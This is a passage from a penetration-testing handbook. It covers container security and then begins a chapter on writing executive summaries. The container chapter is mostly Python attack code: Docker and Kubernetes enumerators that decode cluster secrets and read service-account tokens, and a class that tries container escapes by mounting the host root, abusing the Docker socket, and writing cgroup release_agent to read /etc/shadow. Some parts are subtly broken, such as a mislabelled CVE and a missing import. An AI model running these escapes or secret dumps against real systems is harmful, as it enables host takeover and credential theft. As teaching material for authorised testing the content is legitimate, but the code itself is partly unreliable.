indent=2))\n```\n\n---\n\n## Chapter 27 \u2014 Container Security\n\nContainers have revolutionized application deployment but introduced new security challenges. Understanding container security is essential for modern security professionals.\n\n### 27.1 Docker Enumeration\n\nDocker is the most widely used container platform. Enumerating Docker environments helps identify misconfigurations and vulnerabilities.\n\n#### 27.1.1 Docker Enumeration and Exploitation\n\n```python\n#!/usr/bin/env python3\n# docker_enumeration.py\n\nimport docker\nimport subprocess\nimport json\nimport requests\nimport os\n\nclass DockerEnumerator:\n    def __init__(self, socket_path='/var/run/docker.sock'):\n        self.socket_path = socket_path\n        try:\n            self.client = docker.DockerClient(base_url=f'unix://{socket_path}')\n            print(f\"[+] Connected to Docker daemon\")\n        except Exception as e:\n            print(f\"[-] Failed to connect to Docker daemon: {e}\")\n            self.client = None\n            \n    def check_docker_socket(self):\n        \"\"\"Check if Docker socket is accessible\"\"\"\n        \n        if os.path.exists(self.socket_path):\n            if os.access(self.socket_path, os.R_OK | os.W_OK):\n                print(f\"[!] Docker socket is readable and writable!\")\n                return True\n        return False\n    \n    def enumerate_containers(self):\n        \"\"\"Enumerate running and stopped containers\"\"\"\n        \n        print(\"[*] Enumerating containers...\")\n        \n        containers = {\n            'running': [],\n            'stopped': []\n        }\n        \n        if not self.client:\n            return containers\n            \n        try:\n            # Running containers\n            for container in self.client.containers.list():\n                containers['running'].append({\n                    'id': container.id[:12],\n                    'name': container.name,\n                    'image': container.image.tags,\n                    'status': container.status,\n                    'ports': container.ports\n                })\n                \n            # All containers (including stopped)\n            for container in self.client.containers.list(all=True):\n                if container.status != 'running':\n                    containers['stopped'].append({\n                        'id': container.id[:12],\n                        'name': container.name,\n                        'image': container.image.tags,\n                        'status': container.status\n                    })\n                    \n        except Exception as e:\n            print(f\"[-] Container enumeration failed: {e}\")\n            \n        return containers\n    \n    def enumerate_images(self):\n        \"\"\"Enumerate Docker images\"\"\"\n        \n        print(\"[*] Enumerating images...\")\n        \n        images = []\n        \n        if not self.client:\n            return images\n            \n        try:\n            for image in self.client.images.list():\n                images.append({\n                    'id': image.id[:12],\n                    'tags': image.tags,\n                    'size': image.attrs['Size'],\n                    'created': image.attrs['Created'],\n                    'vulnerable': self.check_vulnerable_image(image.tags)\n                })\n        except Exception as e:\n            print(f\"[-] Image enumeration failed: {e}\")\n            \n        return images\n    \n    def check_vulnerable_image(self, tags):\n        \"\"\"Check if image has known vulnerabilities\"\"\"\n        \n        vulnerable_tags = ['latest', 'alpine:3.10', 'ubuntu:16.04', 'centos:7']\n        for tag in tags:\n            if any(vuln in tag for vuln in vulnerable_tags):\n                return True\n        return False\n    \n    def enumerate_networks(self):\n        \"\"\"Enumerate Docker networks\"\"\"\n        \n        print(\"[*] Enumerating networks...\")\n        \n        networks = []\n        \n        if not self.client:\n            return networks\n            \n        try:\n            for network in self.client.networks.list():\n                networks.append({\n                    'name': network.name,\n                    'id': network.id[:12],\n                    'driver': network.attrs['Driver'],\n                    'scope': network.attrs['Scope'],\n                    'containers': len(network.containers)\n                })\n        except Exception as e:\n            print(f\"[-] Network enumeration failed: {e}\")\n            \n        return networks\n    \n    def enumerate_volumes(self):\n        \"\"\"Enumerate Docker volumes\"\"\"\n        \n        print(\"[*] Enumerating volumes...\")\n        \n        volumes = []\n        \n        if not self.client:\n            return volumes\n            \n        try:\n            for volume in self.client.volumes.list():\n                volumes.append({\n                    'name': volume.name,\n                    'driver': volume.attrs['Driver'],\n                    'mountpoint': volume.attrs['Mountpoint'],\n                    'labels': volume.attrs.get('Labels', {})\n                })\n        except Exception as e:\n            print(f\"[-] Volume enumeration failed: {e}\")\n            \n        return volumes\n    \n    def check_privileged_containers(self):\n        \"\"\"Check for privileged containers\"\"\"\n        \n        print(\"[*] Checking for privileged containers...\")\n        \n        privileged = []\n        \n        if not self.client:\n            return privileged\n            \n        try:\n            for container in self.client.containers.list():\n                if container.attrs['HostConfig']['Privileged']:\n                    privileged.append({\n                        'id': container.id[:12],\n                        'name': container.name,\n                        'privileged': True\n                    })\n                    print(f\"[!] Privileged container found: {container.name}\")\n        except Exception as e:\n            print(f\"[-] Privileged check failed: {e}\")\n            \n        return privileged\n    \n    def check_container_capabilities(self):\n        \"\"\"Check container capabilities\"\"\"\n        \n        print(\"[*] Checking container capabilities...\")\n        \n        dangerous_caps = ['CAP_SYS_ADMIN', 'CAP_NET_ADMIN', 'CAP_SYS_MODULE', 'CAP_SYS_RAWIO']\n        \n        results = []\n        \n        if not self.client:\n            return results\n            \n        try:\n            for container in self.client.containers.list():\n                caps = container.attrs['HostConfig']['Capabilities'] or []\n                for cap in dangerous_caps:\n                    if cap in caps:\n                        results.append({\n                            'container': container.name,\n                            'dangerous_capability': cap\n                        })\n                        print(f\"[!] Container {container.name} has dangerous capability: {cap}\")\n        except Exception as e:\n            print(f\"[-] Capability check failed: {e}\")\n            \n        return results\n    \n    def check_volume_mounts(self):\n        \"\"\"Check for sensitive volume mounts\"\"\"\n        \n        print(\"[*] Checking volume mounts...\")\n        \n        sensitive_paths = ['/', '/etc', '/root', '/home', '/var/lib']\n        \n        results = []\n        \n        if not self.client:\n            return results\n            \n        try:\n            for container in self.client.containers.list():\n                mounts = container.attrs['Mounts']\n                for mount in mounts:\n                    source = mount.get('Source', '')\n                    for sensitive in sensitive_paths:\n                        if sensitive in source:\n                            results.append({\n                                'container': container.name,\n                                'mount': source,\n                                'destination': mount['Destination']\n                            })\n                            print(f\"[!] Container {container.name} mounts host {source}\")\n        except Exception as e:\n            print(f\"[-] Volume mount check failed: {e}\")\n            \n        return results\n    \n    def escape_via_privileged_container(self, container_id):\n        \"\"\"Attempt to escape via privileged container\"\"\"\n        \n        if not self.client:\n            return False\n            \n        try:\n            container = self.client.containers.get(container_id)\n            \n            # Check if privileged\n            if not container.attrs['HostConfig']['Privileged']:\n                print(\"[-] Container is not privileged\")\n                return False\n                \n            # Attempt to access host filesystem\n            result = container.exec_run(\n                \"chroot /host /bin/bash -c 'cat /etc/shadow'\",\n                privileged=True\n            )\n            \n            if result.exit_code == 0:\n                print(\"[+] Successfully accessed host filesystem!\")\n                return result.output.decode()\n                \n        except Exception as e:\n            print(f\"[-] Escape failed: {e}\")\n            \n        return False\n    \n    def generate_report(self):\n        \"\"\"Generate Docker enumeration report\"\"\"\n        \n        report = {\n            'containers': self.enumerate_containers(),\n            'images': self.enumerate_images(),\n            'networks': self.enumerate_networks(),\n            'volumes': self.enumerate_volumes(),\n            'privileged_containers': self.check_privileged_containers(),\n            'dangerous_capabilities': self.check_container_capabilities(),\n            'sensitive_mounts': self.check_volume_mounts(),\n            'security_issues': []\n        }\n        \n        # Collect security issues\n        if report['privileged_containers']:\n            report['security_issues'].append({\n                'type': 'Privileged Containers',\n                'count': len(report['privileged_containers'])\n            })\n            \n        if report['dangerous_capabilities']:\n            report['security_issues'].append({\n                'type': 'Dangerous Capabilities',\n                'count': len(report['dangerous_capabilities'])\n            })\n            \n        if report['sensitive_mounts']:\n            report['security_issues'].append({\n                'type': 'Sensitive Host Mounts',\n                'count': len(report['sensitive_mounts'])\n            })\n            \n        return report\n\n# Example usage\ndocker_enum = DockerEnumerator()\n\n# Check Docker socket\nif docker_enum.check_docker_socket():\n    # Enumerate resources\n    containers = docker_enum.enumerate_containers()\n    print(f\"[+] Running containers: {len(containers['running'])}\")\n    \n    images = docker_enum.enumerate_images()\n    print(f\"[+] Images: {len(images)}\")\n    \n    # Check for security issues\n    privileged = docker_enum.check_privileged_containers()\n    caps = docker_enum.check_container_capabilities()\n    mounts = docker_enum.check_volume_mounts()\n    \n    # Generate report\n    report = docker_enum.generate_report()\n    print(json.dumps(report, indent=2))\n```\n\n### 27.2 Kubernetes Exploitation\n\nKubernetes (K8s) is the leading container orchestration platform with its own complex security model.\n\n#### 27.2.1 Kubernetes Enumeration and Exploitation\n\n```python\n#!/usr/bin/env python3\n# kubernetes_enumeration.py\n\nimport requests\nimport subprocess\nimport json\nimport base64\nfrom kubernetes import client, config\nfrom kubernetes.client.rest import ApiException\n\nclass KubernetesEnumerator:\n    def __init__(self, kubeconfig=None):\n        self.kubeconfig = kubeconfig\n        self.v1 = None\n        self.rbac = None\n        self.apps = None\n        self.results = {}\n        \n        try:\n            if kubeconfig:\n                config.load_kube_config(config_file=kubeconfig)\n            else:\n                config.load_incluster_config()  # For inside cluster\n                \n            self.v1 = client.CoreV1Api()\n            self.rbac = client.RbacAuthorizationV1Api()\n            self.apps = client.AppsV1Api()\n            print(\"[+] Connected to Kubernetes API\")\n        except Exception as e:\n            print(f\"[-] Failed to connect to Kubernetes: {e}\")\n            \n    def check_api_access(self):\n        \"\"\"Check API server access\"\"\"\n        \n        print(\"[*] Checking API server access...\")\n        \n        try:\n            # Try to access API server\n            api_server = os.getenv('KUBERNETES_SERVICE_HOST', 'kubernetes.default.svc')\n            token_path = '/var/run/secrets/kubernetes.io/serviceaccount/token'\n            \n            if os.path.exists(token_path):\n                with open(token_path, 'r') as f:\n                    token = f.read().strip()\n                    \n                headers = {'Authorization': f'Bearer {token}'}\n                response = requests.get(f'https://{api_server}/api/v1/namespaces/default/pods',\n                                      headers=headers, verify=False)\n                                      \n                if response.status_code == 200:\n                    print(\"[+] Can access API server with service account token\")\n                    return True\n                    \n        except Exception as e:\n            print(f\"[-] API access check failed: {e}\")\n            \n        return False\n    \n    def enumerate_namespaces(self):\n        \"\"\"Enumerate namespaces\"\"\"\n        \n        print(\"[*] Enumerating namespaces...\")\n        \n        namespaces = []\n        \n        if not self.v1:\n            return namespaces\n            \n        try:\n            ns_list = self.v1.list_namespace()\n            for ns in ns_list.items:\n                namespaces.append({\n                    'name': ns.metadata.name,\n                    'status': ns.status.phase,\n                    'labels': ns.metadata.labels\n                })\n        except ApiException as e:\n            print(f\"[-] Namespace enumeration failed: {e}\")\n            \n        self.results['namespaces'] = namespaces\n        return namespaces\n    \n    def enumerate_pods(self, namespace='default'):\n        \"\"\"Enumerate pods in namespace\"\"\"\n        \n        print(f\"[*] Enumerating pods in namespace {namespace}...\")\n        \n        pods = []\n        \n        if not self.v1:\n            return pods\n            \n        try:\n            pod_list = self.v1.list_namespaced_pod(namespace)\n            for pod in pod_list.items:\n                pod_info = {\n                    'name': pod.metadata.name,\n                    'namespace': pod.metadata.namespace,\n                    'status': pod.status.phase,\n                    'node': pod.spec.node_name,\n                    'containers': [],\n                    'volumes': []\n                }\n                \n                # Container info\n                for container in pod.spec.containers:\n                    container_info = {\n                        'name': container.name,\n                        'image': container.image,\n                        'ports': [port.container_port for port in container.ports] if container.ports else [],\n                        'privileged': container.security_context.privileged if container.security_context else False\n                    }\n                    pod_info['containers'].append(container_info)\n                    \n                    if container.security_context and container.security_context.privileged:\n                        print(f\"[!] Privileged container found: {container.name} in pod {pod.metadata.name}\")\n                        \n                # Volume info\n                if pod.spec.volumes:\n                    for volume in pod.spec.volumes:\n                        if volume.host_path:\n                            pod_info['volumes'].append({\n                                'name': volume.name,\n                                'host_path': volume.host_path.path\n                            })\n                            print(f\"[!] Host path mounted: {volume.host_path.path} in pod {pod.metadata.name}\")\n                            \n                pods.append(pod_info)\n                \n        except ApiException as e:\n            print(f\"[-] Pod enumeration failed: {e}\")\n            \n        self.results['pods'] = pods\n        return pods\n    \n    def enumerate_services(self, namespace='default'):\n        \"\"\"Enumerate services\"\"\"\n        \n        print(f\"[*] Enumerating services in namespace {namespace}...\")\n        \n        services = []\n        \n        if not self.v1:\n            return services\n            \n        try:\n            svc_list = self.v1.list_namespaced_service(namespace)\n            for svc in svc_list.items:\n                services.append({\n                    'name': svc.metadata.name,\n                    'namespace': svc.metadata.namespace,\n                    'type': svc.spec.type,\n                    'cluster_ip': svc.spec.cluster_ip,\n                    'ports': [{'port': p.port, 'target_port': p.target_port} for p in svc.spec.ports],\n                    'selector': svc.spec.selector\n                })\n        except ApiException as e:\n            print(f\"[-] Service enumeration failed: {e}\")\n            \n        self.results['services'] = services\n        return services\n    \n    def enumerate_secrets(self, namespace='default'):\n        \"\"\"Enumerate secrets (sensitive!)\"\"\"\n        \n        print(f\"[*] Enumerating secrets in namespace {namespace}...\")\n        \n        secrets = []\n        \n        if not self.v1:\n            return secrets\n            \n        try:\n            secret_list = self.v1.list_namespaced_secret(namespace)\n            for secret in secret_list.items:\n                secret_info = {\n                    'name': secret.metadata.name,\n                    'namespace': secret.metadata.namespace,\n                    'type': secret.type,\n                    'data': {}\n                }\n                \n                # Decode secret data\n                if secret.data:\n                    for key, value in secret.data.items():\n                        try:\n                            decoded = base64.b64decode(value).decode('utf-8')\n                            secret_info['data'][key] = decoded\n                        except:\n                            secret_info['data'][key] = '[binary data]'\n                            \n                secrets.append(secret_info)\n                \n        except ApiException as e:\n            print(f\"[-] Secret enumeration failed: {e}\")\n            \n        self.results['secrets'] = secrets\n        return secrets\n    \n    def enumerate_configmaps(self, namespace='default'):\n        \"\"\"Enumerate ConfigMaps\"\"\"\n        \n        print(f\"[*] Enumerating configmaps in namespace {namespace}...\")\n        \n        configmaps = []\n        \n        if not self.v1:\n            return configmaps\n            \n        try:\n            cm_list = self.v1.list_namespaced_config_map(namespace)\n            for cm in cm_list.items:\n                configmaps.append({\n                    'name': cm.metadata.name,\n                    'namespace': cm.metadata.namespace,\n                    'data': cm.data,\n                    'binary_data': cm.binary_data\n                })\n        except ApiException as e:\n            print(f\"[-] ConfigMap enumeration failed: {e}\")\n            \n        self.results['configmaps'] = configmaps\n        return configmaps\n    \n    def enumerate_roles(self, namespace='default'):\n        \"\"\"Enumerate RBAC roles\"\"\"\n        \n        print(f\"[*] Enumerating roles in namespace {namespace}...\")\n        \n        roles = []\n        \n        if not self.rbac:\n            return roles\n            \n        try:\n            role_list = self.rbac.list_namespaced_role(namespace)\n            for role in role_list.items:\n                role_info = {\n                    'name': role.metadata.name,\n                    'namespace': role.metadata.namespace,\n                    'rules': []\n                }\n                \n                for rule in role.rules:\n                    role_info['rules'].append({\n                        'api_groups': rule.api_groups,\n                        'resources': rule.resources,\n                        'verbs': rule.verbs\n                    })\n                    \n                roles.append(role_info)\n                \n        except ApiException as e:\n            print(f\"[-] Role enumeration failed: {e}\")\n            \n        self.results['roles'] = roles\n        return roles\n    \n    def enumerate_rolebindings(self, namespace='default'):\n        \"\"\"Enumerate role bindings\"\"\"\n        \n        print(f\"[*] Enumerating rolebindings in namespace {namespace}...\")\n        \n        bindings = []\n        \n        if not self.rbac:\n            return bindings\n            \n        try:\n            binding_list = self.rbac.list_namespaced_role_binding(namespace)\n            for binding in binding_list.items:\n                binding_info = {\n                    'name': binding.metadata.name,\n                    'namespace': binding.metadata.namespace,\n                    'role': binding.role_ref.name,\n                    'subjects': []\n                }\n                \n                for subject in binding.subjects:\n                    binding_info['subjects'].append({\n                        'kind': subject.kind,\n                        'name': subject.name,\n                        'namespace': subject.namespace\n                    })\n                    \n                bindings.append(binding_info)\n                \n        except ApiException as e:\n            print(f\"[-] RoleBinding enumeration failed: {e}\")\n            \n        self.results['rolebindings'] = bindings\n        return bindings\n    \n    def enumerate_nodes(self):\n        \"\"\"Enumerate cluster nodes\"\"\"\n        \n        print(\"[*] Enumerating nodes...\")\n        \n        nodes = []\n        \n        if not self.v1:\n            return nodes\n            \n        try:\n            node_list = self.v1.list_node()\n            for node in node_list.items:\n                nodes.append({\n                    'name': node.metadata.name,\n                    'status': node.status.conditions[-1].type if node.status.conditions else 'Unknown',\n                    'roles': node.metadata.labels.get('kubernetes.io/role', 'worker'),\n                    'kubelet_version': node.status.node_info.kubelet_version,\n                    'os_image': node.status.node_info.os_image,\n                    'addresses': [addr.address for addr in node.status.addresses]\n                })\n        except ApiException as e:\n            print(f\"[-] Node enumeration failed: {e}\")\n            \n        self.results['nodes'] = nodes\n        return nodes\n    \n    def check_service_account_permissions(self):\n        \"\"\"Check current service account permissions\"\"\"\n        \n        print(\"[*] Checking service account permissions...\")\n        \n        # Try to access various resources\n        permissions = []\n        \n        test_resources = [\n            ('pods', 'list'),\n            ('secrets', 'list'),\n            ('configmaps', 'list'),\n            ('services', 'list'),\n            ('deployments', 'list'),\n            ('nodes', 'list'),\n            ('roles', 'list'),\n            ('rolebindings', 'list')\n        ]\n        \n        for resource, verb in test_resources:\n            try:\n                if resource == 'pods':\n                    self.v1.list_pod_for_all_namespaces(limit=1)\n                    permissions.append(f'Can {verb} {resource}')\n                elif resource == 'secrets':\n                    self.v1.list_secret_for_all_namespaces(limit=1)\n                    permissions.append(f'Can {verb} {resource}')\n                elif resource == 'configmaps':\n                    self.v1.list_config_map_for_all_namespaces(limit=1)\n                    permissions.append(f'Can {verb} {resource}')\n                # Add more tests...\n            except:\n                pass\n                \n        return permissions\n    \n    def check_kubelet_anonymous_auth(self):\n        \"\"\"Check if kubelet allows anonymous auth\"\"\"\n        \n        print(\"[*] Checking kubelet anonymous auth...\")\n        \n        nodes = self.results.get('nodes', [])\n        \n        for node in nodes:\n            for addr in node.get('addresses', []):\n                try:\n                    # Check kubelet read-only port (10255)\n                    response = requests.get(f'http://{addr}:10255/pods', timeout=2)\n                    if response.status_code == 200:\n                        print(f\"[!] Kubelet read-only API exposed on {addr}:10255\")\n                        \n                    # Check kubelet authenticated port (10250)\n                    response = requests.get(f'https://{addr}:10250/pods', verify=False, timeout=2)\n                    if response.status_code == 200:\n                        print(f\"[!] Kubelet API exposed without auth on {addr}:10250\")\n                        \n                except:\n                    pass\n                    \n    def run_pod_exec(self, namespace, pod, container, command):\n        \"\"\"Execute command in pod\"\"\"\n        \n        if not self.v1:\n            return None\n            \n        try:\n            # This requires the stream module\n            from kubernetes.stream import stream\n            \n            exec_command = [\n                '/bin/sh',\n                '-c',\n                command\n            ]\n            \n            resp = stream(\n                self.v1.connect_get_namespaced_pod_exec,\n                pod,\n                namespace,\n                container=container,\n                command=exec_command,\n                stderr=True,\n                stdin=False,\n                stdout=True,\n                tty=False\n            )\n            \n            return resp\n        except Exception as e:\n            print(f\"[-] Exec failed: {e}\")\n            return None\n    \n    def generate_report(self):\n        \"\"\"Generate Kubernetes enumeration report\"\"\"\n        \n        report = {\n            'namespaces': self.results.get('namespaces', []),\n            'pods': self.results.get('pods', []),\n            'services': self.results.get('services', []),\n            'secrets': self.results.get('secrets', []),\n            'configmaps': self.results.get('configmaps', []),\n            'roles': self.results.get('roles', []),\n            'rolebindings': self.results.get('rolebindings', []),\n            'nodes': self.results.get('nodes', []),\n            'permissions': self.check_service_account_permissions(),\n            'security_issues': []\n        }\n        \n        # Identify security issues\n        for pod in report['pods']:\n            for container in pod['containers']:\n                if container.get('privileged'):\n                    report['security_issues'].append({\n                        'type': 'Privileged Container',\n                        'pod': pod['name'],\n                        'container': container['name']\n                    })\n                    \n            for volume in pod['volumes']:\n                if volume.get('host_path'):\n                    report['security_issues'].append({\n                        'type': 'Host Path Mount',\n                        'pod': pod['name'],\n                        'path': volume['host_path']\n                    })\n                    \n        if 'secrets' in self.results and self.results['secrets']:\n            report['security_issues'].append({\n                'type': 'Exposed Secrets',\n                'count': len(self.results['secrets'])\n            })\n            \n        return report\n\n# Example usage\nk8s_enum = KubernetesEnumerator()\n\n# Enumerate resources\nif k8s_enum.v1:\n    k8s_enum.enumerate_namespaces()\n    k8s_enum.enumerate_pods('default')\n    k8s_enum.enumerate_services('default')\n    k8s_enum.enumerate_secrets('default')\n    k8s_enum.enumerate_configmaps('default')\n    k8s_enum.enumerate_roles('default')\n    k8s_enum.enumerate_rolebindings('default')\n    k8s_enum.enumerate_nodes()\n    \n    # Check permissions\n    permissions = k8s_enum.check_service_account_permissions()\n    print(f\"[+] Service account permissions: {permissions}\")\n    \n    # Check kubelet\n    k8s_enum.check_kubelet_anonymous_auth()\n    \n    # Generate report\n    report = k8s_enum.generate_report()\n    print(json.dumps(report, indent=2, default=str))\n```\n\n### 27.3 Container Escape Techniques\n\nContainer escape vulnerabilities allow attackers to break out of container isolation and access the host system.\n\n#### 27.3.1 Escape Techniques\n\n```python\n#!/usr/bin/env python3\n# container_escape.py\n\nimport subprocess\nimport os\nimport ctypes\nimport tempfile\n\nclass ContainerEscape:\n    def __init__(self):\n        self.techniques = []\n        \n    def check_capabilities(self):\n        \"\"\"Check container capabilities\"\"\"\n        \n        print(\"[*] Checking capabilities...\")\n        \n        try:\n            with open('/proc/self/status', 'r') as f:\n                for line in f:\n                    if 'Cap' in line:\n                        print(f\"  {line.strip()}\")\n                        \n            # Check for dangerous capabilities\n            caps = {\n                'CAP_SYS_ADMIN': 21,\n                'CAP_SYS_MODULE': 24,\n                'CAP_SYS_RAWIO': 17,\n                'CAP_DAC_READ_SEARCH': 14,\n                'CAP_DAC_OVERRIDE': 1\n            }\n            \n            for cap_name, cap_num in caps.items():\n                try:\n                    # Check capability via capsh\n                    result = subprocess.run(['capsh', '--has-cap', f'={cap_num}'], \n                                          capture_output=True, text=True)\n                    if 'ok' in result.stdout:\n                        print(f\"[!] Container has {cap_name}\")\n                        return True\n                except:\n                    pass\n        except:\n            pass\n            \n        return False\n    \n    def escape_via_sys_admin(self):\n        \"\"\"Escape via CAP_SYS_ADMIN capability\"\"\"\n        \n        print(\"[*] Attempting escape via CAP_SYS_ADMIN...\")\n        \n        # Try to mount host filesystem\n        try:\n            os.makedirs('/tmp/host', exist_ok=True)\n            \n            # Mount host root\n            subprocess.run(['mount', '-t', 'proc', 'none', '/tmp/host/proc'])\n            subprocess.run(['mount', '--bind', '/', '/tmp/host'])\n            \n            # Try to access host files\n            if os.path.exists('/tmp/host/etc/shadow'):\n                print(\"[+] Successfully mounted host filesystem!\")\n                with open('/tmp/host/etc/shadow', 'r') as f:\n                    return f.read()[:500]\n                    \n        except Exception as e:\n            print(f\"[-] Mount failed: {e}\")\n            \n        return None\n    \n    def escape_via_procfs(self):\n        \"\"\"Escape via procfs (CVE-2016-5195)\"\"\"\n        \n        print(\"[*] Attempting escape via procfs...\")\n        \n        try:\n            # Try to access host processes via /proc\n            for pid in os.listdir('/proc'):\n                if pid.isdigit() and int(pid) != os.getpid():\n                    try:\n                        cmdline = open(f'/proc/{pid}/cmdline', 'r').read()\n                        if 'kubelet' in cmdline or 'docker' in cmdline:\n                            print(f\"[+] Found host process: {cmdline}\")\n                    except:\n                        pass\n        except:\n            pass\n            \n        return None\n    \n    def escape_via_docker_socket(self):\n        \"\"\"Escape via mounted Docker socket\"\"\"\n        \n        print(\"[*] Checking for Docker socket...\")\n        \n        docker_socket_paths = [\n            '/var/run/docker.sock',\n            '/run/docker.sock',\n            '/docker.sock'\n        ]\n        \n        for socket_path in docker_socket_paths:\n            if os.path.exists(socket_path):\n                print(f\"[!] Docker socket found at {socket_path}\")\n                \n                # Try to create privileged container\n                try:\n                    import docker\n                    client = docker.DockerClient(base_url=f'unix://{socket_path}')\n                    \n                    # Create privileged container\n                    container = client.containers.run(\n                        'ubuntu',\n                        'chroot /host /bin/bash -c \"cat /etc/shadow\"',\n                        volumes={'/': {'bind': '/host', 'mode': 'rw'}},\n                        privileged=True,\n                        detach=True\n                    )\n                    \n                    logs = container.logs()\n                    container.remove()\n                    \n                    if logs:\n                        print(\"[+] Successfully escaped via Docker socket!\")\n                        return logs.decode()\n                        \n                except Exception as e:\n                    print(f\"[-] Docker socket exploitation failed: {e}\")\n                    \n        return None\n    \n    def escape_via_cgroups(self):\n        \"\"\"Escape via cgroups release_agent\"\"\"\n        \n        print(\"[*] Attempting escape via cgroups...\")\n        \n        try:\n            # Find cgroup mount\n            with open('/proc/self/mountinfo', 'r') as f:\n                for line in f:\n                    if 'cgroup' in line and 'release_agent' in line:\n                        print(f\"[!] Found cgroup with release_agent: {line}\")\n                        \n                        # Write to release_agent\n                        # This requires CAP_SYS_ADMIN\n                        release_agent_path = '/sys/fs/cgroup/release_agent'\n                        if os.path.exists(release_agent_path):\n                            with open(release_agent_path, 'w') as f:\n                                f.write('/bin/sh')\n                            print(\"[+] release_agent configured\")\n                            \n        except Exception as e:\n            print(f\"[-] cgroups escape failed: {e}\")\n            \n        return None\n    \n    def escape_via_devices(self):\n        \"\"\"Escape via device access\"\"\"\n        \n        print(\"[*] Checking for device access...\")\n        \n        try:\n            # Check for /dev/mem access\n            if os.path.exists('/dev/mem'):\n                try:\n                    with open('/dev/mem', 'rb') as f:\n                        print(\"[!] Can read /dev/mem!\")\n                except:\n                    pass\n                    \n            # Check for /dev/kmem access\n            if os.path.exists('/dev/kmem'):\n                try:\n                    with open('/dev/kmem', 'rb') as f:\n                        print(\"[!] Can read /dev/kmem!\")\n                except:\n                    pass\n                    \n        except:\n            pass\n            \n        return None\n    \n    def run_all_escapes(self):\n        \"\"\"Run all escape techniques\"\"\"\n        \n        print(\"=\" * 60)\n        print(\"CONTAINER ESCAPE TECHNIQUES\")\n        print(\"=\" * 60)\n        \n        techniques = [\n            self.escape_via_sys_admin,\n            self.escape_via_procfs,\n            self.escape_via_docker_socket,\n            self.escape_via_cgroups,\n            self.escape_via_devices\n        ]\n        \n        for technique in techniques:\n            result = technique()\n            if result:\n                print(f\"[+] Escape successful!\")\n                break\n        else:\n            print(\"[-] No escape techniques succeeded\")\n\n# Example usage\nescape = ContainerEscape()\n\n# Check capabilities\nhas_caps = escape.check_capabilities()\n\n# Run escape attempts\nescape.run_all_escapes()\n```\n\n---\n\n# PART XII \u2014 PROFESSIONAL PRACTICE\n\n## Chapter 28 \u2014 Reporting &amp; Documentation\n\nEffective reporting is the culmination of all penetration testing efforts. A well-written report communicates findings clearly to both technical and non-technical audiences, enabling organizations to prioritize and remediate vulnerabilities effectively.\n\n### 28.1 Executive Summary Writing\n\nThe executive summary is the most critical part of any penetration testing report. It must convey complex technical issues in business terms that executives can understand and act upon.\n\n#### 28.1.1 Executive Summary Structure\n\n```python\n#!/usr/bin/env python3\n# executive_summary.py\n\nimport json\nimport datetime\nfrom typing import List, Dict\n\nclass ExecutiveSummaryGenerator:\n    def __init__(self, assessment_data: Dict):\n        self.data = assessment_data\n        self.summary = {}\n        \n    def generate_overview(self) -&gt; str:\n        \"\"\"Generate assessment overview paragraph\"\"\"\n        \n        overview = f\"\"\"\n        From {self.data['start_date']} to {self.data['end_date']}, {self.data['assessor']} \n        performed a comprehensive security assessment of {self.data['scope_description']}. \n        The assessment identified a total of {self.data['total_findings']} security findings \n        across {self.data['total_systems']} systems and applications.\n        \"\"\"\n        \n        return ' '.join(overview.split())\n    \n    def generate_key_findings(self) -&gt; str:\n        \"\"\"Generate key findings section\"\"\"\n        \n        findings = \"\\n\\nKey Findings:\\n\"\n        \n        for finding in self.data['key_findings'][:5]:  # Top 5 findings\n            findings += f\"\\n\u2022 {finding['title']}: {finding['description']}\"\n            \n        return findings\n    \n    def generate_risk_summary(self) -&gt; str:\n        \"\"\"Generate risk summary with statistics\"\"\"\n        \n        risk_summary = f\"\"\"\n        \n        Risk Statistics:\n        \u2022 Critical: {self.data['critical_count']}\n        \u2022 High: {self.data['high_count']}\n        \u2022 Medium: {self.data['medium_count']}\n        \u2022 Low: {self.data['low_count']}\n        \u2022 Informational: {self.data['info_count']}\n        \n        The organization's overall risk posture is {self.data['risk_level']}. \n        \"\"\"\n        \n        return ' '.join(risk_summary.split())\n    \n    def generate_recommendations(self) -&gt; str:\n        \"\"\"Generate top recommendations\"\"\"\n        \n        recs = \"\\n\\nRecommended Actions:\\n\"\n        \n        for rec in self.data['recommendations'][:5]:\n            recs += f\"\\n\u2022 {rec['priority']}: {rec['description']}\"\n            \n        return recs\n    \n    def generate_business_impact(self) -&gt; str:\n        \"\"\"Generate business impact section\"\"\"\n        \n        impact = f\"\"\"\n        \n        Business Impact:\n        The identified vulnerabilities pose significant risks to the organization including:\n        \u2022 {self.data['financial_risk']}\n        \u2022 {self.data['reputational_risk']}\n        \u2022 {self.data['regulatory_risk']}\n        \u2022 {self.data['operational_risk']}\n        \"\"\"\n        \n        return ' '.join(impact.split())\n    \n    def generate_conclusion(self) -&gt; str:\n        \"\"\"Generate conclusion\"\"\"\n        \n        conclusion = f\"\"\"\n        \n        Conclusion:\n        {self.data['conclusion']}\n        \n        A focused remediation effort addressing the identified critical and high-risk\n        vulnerabilities will substantially improve the organization's security posture\n        and reduce exposure to potential breaches.\n        \"\"\"\n        \n        return ' '.join(conclusion.split())\n    \n    def generate_full_summary(self) -&gt; str:\n        \"\"\"Generate complete executive summary\"\"\"\n        \n        summary = self.generate_overview()\n        summary += self.generate_key_findings()\n        summary += self.generate_risk_summary()\n        summary += self.generate_business_impact()\n        summary += self.generate_recommendations()\n        summary += self.generate_conclusion()\n        \n        return summary\n    \n    def save_summary(self, filename: str):\n        \"\"\"Save executive summary to file\"\"\"\n        \n        summary = self.generate_full_summary()\n        \n        with open(filename, 'w') as f:\n            f.write(summary)\n            \n        print(f\"[+] Executive summary saved to {filename}\")\n\n# Example usage\nassessment_data = {\n    'start_date': 'January 15, 2024',\n    'end_date': 'January 30, 2024',\n    'assessor': 'Kali Professional Security',\n    'scope_description': 'the external facing web applications and internal network infrastructure',\n    'total_findings': 47,\n    'total_systems': 156,\n    'critical_count': 8,\n    'high_count': 15,\n    'medium_count': 18,\n    'low_count': 4,\n    'info_count': 2,\n    'risk_level': 'HIGH',\n    'financial_risk': 'Potential financial losses from data breaches and regulatory fines',\n    'reputational_risk': 'Damage to brand reputation and customer trust',\n    'regulatory_risk': 'Non-compliance with GDPR, HIPAA, and PCI DSS requirements',\n    'operational_risk': 'Service disruptions and system downtime',\n    'key_findings': [\n        {\n            'title': 'Critical Remote Code Execution in Web Application',\n            'description': 'Unauthenticated attackers can execute arbitrary code on the main web server.'\n        },\n        {\n            'title': 'Outdated and Unsupported Operating Systems',\n            'description': '23 systems running end-of-life Windows versions with no security updates.'\n        },\n        {\n            'title': 'Default Credentials on Network Devices',\n            'description': 'Network switches and firewalls using default administrative credentials.'\n        },\n        {\n            'title': 'Sensitive Data 